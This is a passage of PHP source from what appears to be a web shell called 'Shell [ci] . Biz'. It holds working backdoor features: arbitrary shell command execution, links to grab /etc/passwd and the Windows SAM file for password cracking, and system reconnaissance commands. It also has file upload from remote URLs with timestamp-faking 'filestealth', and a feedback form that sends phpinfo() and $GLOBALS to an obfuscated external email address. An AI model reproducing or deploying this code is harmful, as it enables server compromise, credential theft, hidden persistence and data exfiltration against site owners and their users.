  1512.      $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
  1513.      echo join(":",$uid)."<br>";
  1514.     }
  1515.     $i++;
  1516.    }
  1517.   }
  1518.   else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";}
  1519.  }
  1520.  else
  1521.  {
  1522.   $v = $_SERVER["WINDIR"]."\repair\sam";
  1523.   if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";}
  1524.   else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ©.</font></b><br>";}
  1525.  }
  1526.  if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";}
  1527.  if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";}
  1528.  if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
  1529.  if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
  1530.  if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";}
  1531.  if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";}
  1532.  if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";}
  1533.  function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}}
  1534.  displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
  1535.  displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
  1536.  displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
  1537.  displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
  1538.  displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
  1539.  displaysecinfo("RAM",myshellexec("free -m"));
  1540.  displaysecinfo("HDD space",myshellexec("df -h"));
  1541.  displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
  1542.  displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
  1543.  displaysecinfo("Is cURL installed?",myshellexec("which curl"));
  1544.  displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
  1545.  displaysecinfo("Is links installed?",myshellexec("which links"));
  1546.  displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
  1547.  displaysecinfo("Is GET installed?",myshellexec("which GET"));
  1548.  displaysecinfo("Is perl installed?",myshellexec("which perl"));
  1549.  displaysecinfo("Where is apache",myshellexec("whereis apache"));
  1550.  displaysecinfo("Where is perl?",myshellexec("whereis perl"));
  1551.  displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
  1552.  displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
  1553.  displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
  1554.  displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
  1555. }
  1556. if ($act == "mkfile")
  1557. {
  1558.  if ($mkfile != $d)
  1559.  {
  1560.   if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
  1561.   elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
  1562.   else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
  1563.  }
  1564.  else {$act = $dspact = "ls";}
  1565. }
  1566. if ($act == "encoder")
  1567. {
  1568.  echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>";
  1569.  foreach(array("md5","crypt","sha1","crc32") as $v)
  1570.  {
  1571.   echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
  1572.  }
  1573.  echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
  1574.  <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly>
  1575.  <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>";
  1576.  echo "<center>base64_decode - ";
  1577.  if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}
  1578.  else
  1579.  {
  1580.   $debase64 = base64_decode($encoder_input);
  1581.   $debase64 = str_replace("\0","[0]",$debase64);
  1582.   $a = explode("\r\n",$debase64);
  1583.   $rows = count($a);
  1584.   $debase64 = htmlspecialchars($debase64);
  1585.   if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}
  1586.   else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
  1587.   echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";
  1588.  }
  1589.  echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
  1590.  $c = strlen($encoder_input);
  1591.  for($i=0;$i<$c;$i++)
  1592.  {
  1593.   $hex = dechex(ord($encoder_input[$i]));
  1594.   if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  1595.   elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
  1596.  }
  1597.  echo "\" readonly><br></center></form>";
  1598. }
  1599. if ($act == "fsbuff")
  1600. {
  1601.  $arr_copy = $sess_data["copy"];
  1602.  $arr_cut = $sess_data["cut"];
  1603.  $arr = array_merge($arr_copy,$arr_cut);
  1604.  if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";}
  1605.  else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
  1606. }
  1607. if ($act == "selfremove")
  1608. {
  1609.  if (($submit == $rndcode) and ($submit != ""))
  1610.  {
  1611.   if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using Shell [ci] . Biz".$shver."!"; k1r4exit(); }
  1612.   else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
  1613.  }
  1614.  else
  1615.  {
  1616.   if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
  1617.   $rnd = rand(0,9).rand(0,9).rand(0,9);
  1618.   echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";
  1619.  }
  1620. }
  1621. if ($act == "update") {$ret = k1r4_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}}
  1622. if ($act == "feedback")
  1623. {
  1624.  $suppmail = base64_decode("ZnJlZXNoZWxsNTEwQGdtYWlsLmNvbQ==");
  1625.  if (!empty($submit))
  1626.  {
  1627.   $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
  1628.   $body = "Shell [ci] . Biz".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
  1629.   if (!empty($fdbk_ref))
  1630.   {
  1631.    $tmp = @ob_get_contents();
  1632.    ob_clean();
  1633.    phpinfo();
  1634.    $phpinfo = base64_encode(ob_get_contents());
  1635.    ob_clean();
  1636.    echo $tmp;
  1637.    $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
  1638.   }
  1639.   mail($suppmail,"Shell [ci] . Biz".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
  1640.   echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
  1641.  }
  1642.  else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";}
  1643. }
  1644. if ($act == "search")
  1645. {
  1646.  echo "<b>Search in file-system:</b><br>";
  1647.  if (empty($search_in)) {$search_in = $d;}
  1648.  if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  1649.  if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  1650.  if (!empty($submit))
  1651.  {
  1652.   $found = array();
  1653.   $found_d = 0;
  1654.   $found_f = 0;
  1655.   $search_i_f = 0;
  1656.   $search_i_d = 0;
  1657.   $a = array
  1658.   (
  1659.    "name"=>$search_name, "name_regexp"=>$search_name_regexp,
  1660.    "text"=>$search_text, "text_regexp"=>$search_text_regxp,
  1661.    "text_wwo"=>$search_text_wwo,
  1662.    "text_cs"=>$search_text_cs,
  1663.    "text_not"=>$search_text_not
  1664.   );
  1665.   $searchtime = getmicrotime();
  1666.   $in = array_unique(explode(";",$search_in));
  1667.   foreach($in as $v) {k1r4fsearch($v);}
  1668.   $searchtime = round(getmicrotime()-$searchtime,4);
  1669.   if (count($found) == 0) {echo "<b>No files found!</b>";}
  1670.   else
  1671.   {
  1672.    $ls_arr = $found;
  1673.    $disp_fullpath = TRUE;
  1674.    $act = "ls";
  1675.   }
  1676.  }
  1677.  echo "<form method=POST>
  1678. <input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">
  1679. <b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
  1680. <br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
  1681. <br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>
  1682. <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp
  1683. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
  1684. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
  1685. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
  1686. <br><br><input type=submit name=submit value=\"Search\"></form>";
  1687.  if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
  1688. }
  1689. if ($act == "chmod")
  1690. {
  1691.  $mode = fileperms($d.$f);
  1692.  if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
  1693.  else
  1694.  {
  1695.   $form = TRUE;
  1696.   if ($chmod_submit)
  1697.   {
  1698.    $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
  1699.    if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
  1700.    else {$err = "Can't chmod to ".$octet.".";}
  1701.   }
  1702.   if ($form)
  1703.   {
  1704.    $perms = parse_perms($mode);
  1705.    echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  1706.   }
  1707.  }
  1708. }
  1709. if ($act == "upload")
  1710. {
  1711.  $uploadmess = "";
  1712.  $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
  1713.  if (empty($uploadpath)) {$uploadpath = $d;}
  1714.  elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
  1715.  if (!empty($submit))
  1716.  {
  1717.   global $HTTP_POST_FILES;
  1718.   $uploadfile = $HTTP_POST_FILES["uploadfile"];
  1719.   if (!empty($uploadfile["tmp_name"]))
  1720.   {
  1721.    if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
  1722.    else {$destin = $userfilename;}
  1723.    if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";}
  1724.   }
  1725.   elseif (!empty($uploadurl))
  1726.   {
  1727.    if (!empty($uploadfilename)) {$destin = $uploadfilename;}
  1728.    else
  1729.    {
  1730.     $destin = explode("/",$destin);
  1731.     $destin = $destin[count($destin)-1];
  1732.     if (empty($destin))
  1733.     {
  1734.      $i = 0;
  1735.      $b = "";
  1736.      while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
  1737.    }
  1738.    if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";}
  1739.    else
  1740.    {
  1741.     $st = getmicrotime();
  1742.     $content = @file_get_contents($uploadurl);
  1743.     $dt = round(getmicrotime()-$st,4);
  1744.     if (!$content) {$uploadmess .=  "Can't download file!<br>";}
  1745.     else
  1746.     {
  1747.      if ($filestealth) {$stat = stat($uploadpath.$destin);}
  1748.      $fp = fopen($uploadpath.$destin,"w");
  1749.      if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
  1750.      else
  1751.      {
  1752.       fwrite($fp,$content,strlen($content));
  1753.       fclose($fp);
  1754.       if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
  1755.      }
  1756.     }
  1757.    }
  1758.   }
  1759.  }
  1760.  if ($miniform)
  1761.  {
  1762.   echo "<b>".$uploadmess."</b>";
  1763.   $act = "ls";
  1764.  }
  1765.  else
  1766.  {
  1767.   echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>
  1768. Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br>
  1769. Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
  1770. Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
  1771. File-name (auto-fill): <input name=uploadfilename size=25><br><br>
  1772. <input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br>
  1773. <input type=submit name=submit value=\"Upload\">
  1774. </form>";
  1775.  }
  1776. }
  1777. if ($act == "delete")
  1778. {
  1779.  $delerr = "";
  1780.  foreach ($actbox as $v)
  1781.  {
  1782.   $result = FALSE;
  1783.   $result = fs_rmobj($v);
  1784.   if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
  1785.  }
  1786.  if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
  1787.  $act = "ls";
  1788. }
  1789. if (!$usefsbuff)
  1790. {
  1791.  if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";}
  1792. }
  1793. else
  1794. {
  1795.  if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); k1r4_sess_put($sess_data); $act = "ls"; }
  1796.  elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); k1r4_sess_put($sess_data); $act = "ls";}
  1797.  elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} k1r4_sess_put($sess_data); $act = "ls";}
  1798.  if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); k1r4_sess_put($sess_data);}
  1799.  elseif ($actpastebuff)
  1800.  {
  1801.   $psterr = "";
  1802.   foreach($sess_data["copy"] as $k=>$v)
  1803.   {
  1804.    $to = $d.basename($v);
  1805.    if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  1806.    if ($copy_unset) {unset($sess_data["copy"][$k]);}
  1807.   }
  1808.   foreach($sess_data["cut"] as $k=>$v)
  1809.   {
  1810.    $to = $d.basename($v);
  1811.    if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  1812.    unset($sess_data["cut"][$k]);
  1813.   }
  1814.   k1r4_sess_put($sess_data);
  1815.   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  1816.   $act = "ls";
  1817.  }
  1818.  elseif ($actarcbuff)
  1819.  {
  1820.   $arcerr = "";
  1821.   if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
  1822.   else {$ext = ".tar.gz";}
  1823.   if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
  1824.   $cmdline .= " ".$actarcbuff_path;
  1825.   $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
  1826.   foreach($objects as $v)
  1827.   {
  1828.    $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
  1829.    if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
  1830.    if (is_dir($v))
  1831.    {
  1832.     if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
  1833.     $v .= "*";
  1834.    }
  1835.    $cmdline .= " ".$v;
  1836.   }
  1837.   $tmp = realpath(".");
  1838.   chdir($d);
  1839.   $ret = myshellexec($cmdline);
  1840.   chdir($tmp);
  1841.   if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
  1842.   $ret = str_replace("\r\n","\n",$ret);
  1843.   $ret = explode("\n",$ret);
  1844.   if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
  1845.   foreach($sess_data["cut"] as $k=>$v)
  1846.   {
  1847.    if (in_array($v,$ret)) {fs_rmobj($v);}
  1848.    unset($sess_data["cut"][$k]);
  1849.   }
  1850.   k1r4_sess_put($sess_data);
  1851.   if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
  1852.   $act = "ls";
  1853.  }
  1854.  elseif ($actpastebuff)
  1855.  {
  1856.   $psterr = "";
  1857.   foreach($sess_data["copy"] as $k=>$v)
  1858.   {
  1859.    $to = $d.basename($v);
  1860.    if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  1861.    if ($copy_unset) {unset($sess_data["copy"][$k]);}
  1862.   }
  1863.   foreach($sess_data["cut"] as $k=>$v)
  1864.   {
  1865.    $to = $d.basename($v);
  1866.    if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  1867.    unset($sess_data["cut"][$k]);
  1868.   }
  1869.   k1r4_sess_put($sess_data);
  1870.   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  1871.   $act = "ls";
  1872.  }
  1873. }
  1874. if ($act == "cmd")
  1875. {
  1876. if (trim($cmd) == "ps -aux") {$act = "processes";}
  1877. elseif (trim($cmd) == "tasklist") {$act = "processes";}
  1878. else
  1879. {
  1880.  @chdir($chdir);
  1881.  if (!empty($submit))
  1882.  {
  1883.   echo "<b>Result of execution this command</b>:<br>";
  1884.   $olddir = realpath(".");
  1885.   @chdir($d);
  1886.   $ret = myshellexec($cmd);
  1887.   $ret = convert_cyr_string($ret,"d","w");
  1888.   if ($cmd_txt)
  1889.   {
  1890.    $rows = count(explode("\r\n",$ret))+1;
  1891.    if ($rows < 10) {$rows = 10;}
  1892.    echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  1893.   }
  1894.   else {echo $ret."<br>";}
  1895.   @chdir($olddir);
  1896.  }
  1897.  else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
  1898.  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
  1899. }
  1900. }
  1901. if ($act == "ls")
  1902. {
  1903.  if (count($ls_arr) > 0) {$list = $ls_arr;}
  1904.  else
  1905.  {
  1906.   $list = array();
  1907.   if ($h = @opendir($d))
  1908.   {
  1909.    while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
  1910.    closedir($h);
  1911.   }
  1912.   else {}
  1913.  }
  1914.  if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";}
  1915.  else
  1916.  {
  1917.   //Building array
  1918.   $objects = array();
  1919.   $vd = "f"; //Viewing mode
  1920.   if ($vd == "f")
  1921.   {
  1922.    $objects["head"] = array();
  1923.    $objects["folders"] = array();
  1924.    $objects["links"] = array();
  1925.    $objects["files"] = array();
  1926.    foreach ($list as $v)
  1927.    {
  1928.     $o = basename($v);
  1929.     $row = array();
  1930.     if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
  1931.     elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
  1932.     elseif (is_dir($v))
  1933.     {
  1934.      if (is_link($v)) {$type = "LINK";}
  1935.      else {$type = "DIR";}
  1936.      $row[] = $v;
  1937.      $row[] = $type;
  1938.     }
  1939.     elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
  1940.     $row[] = filemtime($v);
  1941.     if (!$win)
  1942.     {
  1943.      $ow = posix_getpwuid(fileowner($v));
  1944.      $gr = posix_getgrgid(filegroup($v));
  1945.      $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
  1946.     }
  1947.     $row[] = fileperms($v);
  1948.     if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
  1949.     elseif (is_link($v)) {$objects["links"][] = $row;}
  1950.     elseif (is_dir($v)) {$objects["folders"][] = $row;}
  1951.     elseif (is_file($v)) {$objects["files"][] = $row;}
  1952.     $i++;
  1953.    }
  1954.    $row = array();
  1955.    $row[] = "<b>Name</b>";
  1956.    $row[] = "<b>Size</b>";
  1957.    $row[] = "<b>Modify</b>";
  1958.    if (!$win)
  1959.   {$row[] = "<b>Owner/Group</b>";}
  1960.    $row[] = "<b>Perms</b>";
  1961.    $row[] = "<b>Action</b>";
  1962.    $parsesort = parsesort($sort);
  1963.    $sort = $parsesort[0].$parsesort[1];
  1964.    $k = $parsesort[0];
  1965.    if ($parsesort[1] != "a") {$parsesort[1] = "d";}
  1966.    $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
  1967.    $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
  1968.    $row[$k] .= $y;
  1969.    for($i=0;$i<count($row)-1;$i++)
  1970.    {
  1971.     if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
  1972.    }
  1973.    $v = $parsesort[0];
  1974.    usort($objects["folders"], "tabsort");
  1975.    usort($objects["links"], "tabsort");
  1976.    usort($objects["files"], "tabsort");
  1977.    if ($parsesort[1] == "d")
  1978.    {
  1979.     $objects["folders"] = array_reverse($objects["folders"]);
  1980.     $objects["files"] = array_reverse($objects["files"]);
  1981.    }
  1982.    $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
  1983.    $tab = array();
  1984.    $tab["cols"] = array($row);
  1985.    $tab["head"] = array();
  1986.    $tab["folders"] = array();
  1987.    $tab["links"] = array();
  1988.    $tab["files"] = array();
  1989.    $i = 0;
  1990.    foreach ($objects as $a)
  1991.    {
  1992.     $v = $a[0];
  1993.     $o = basename($v);
  1994.     $dir = dirname($v);
  1995.     if ($disp_fullpath) {$disppath = $v;}
  1996.     else {$disppath = $o;}
  1997.     $disppath = str2mini($disppath,60);
  1998.     if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
  1999.     elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
  2000.     foreach ($regxp_highlight as $r)
  2001.     {
  2002.      if (ereg($r[0],$o))
  2003.      {
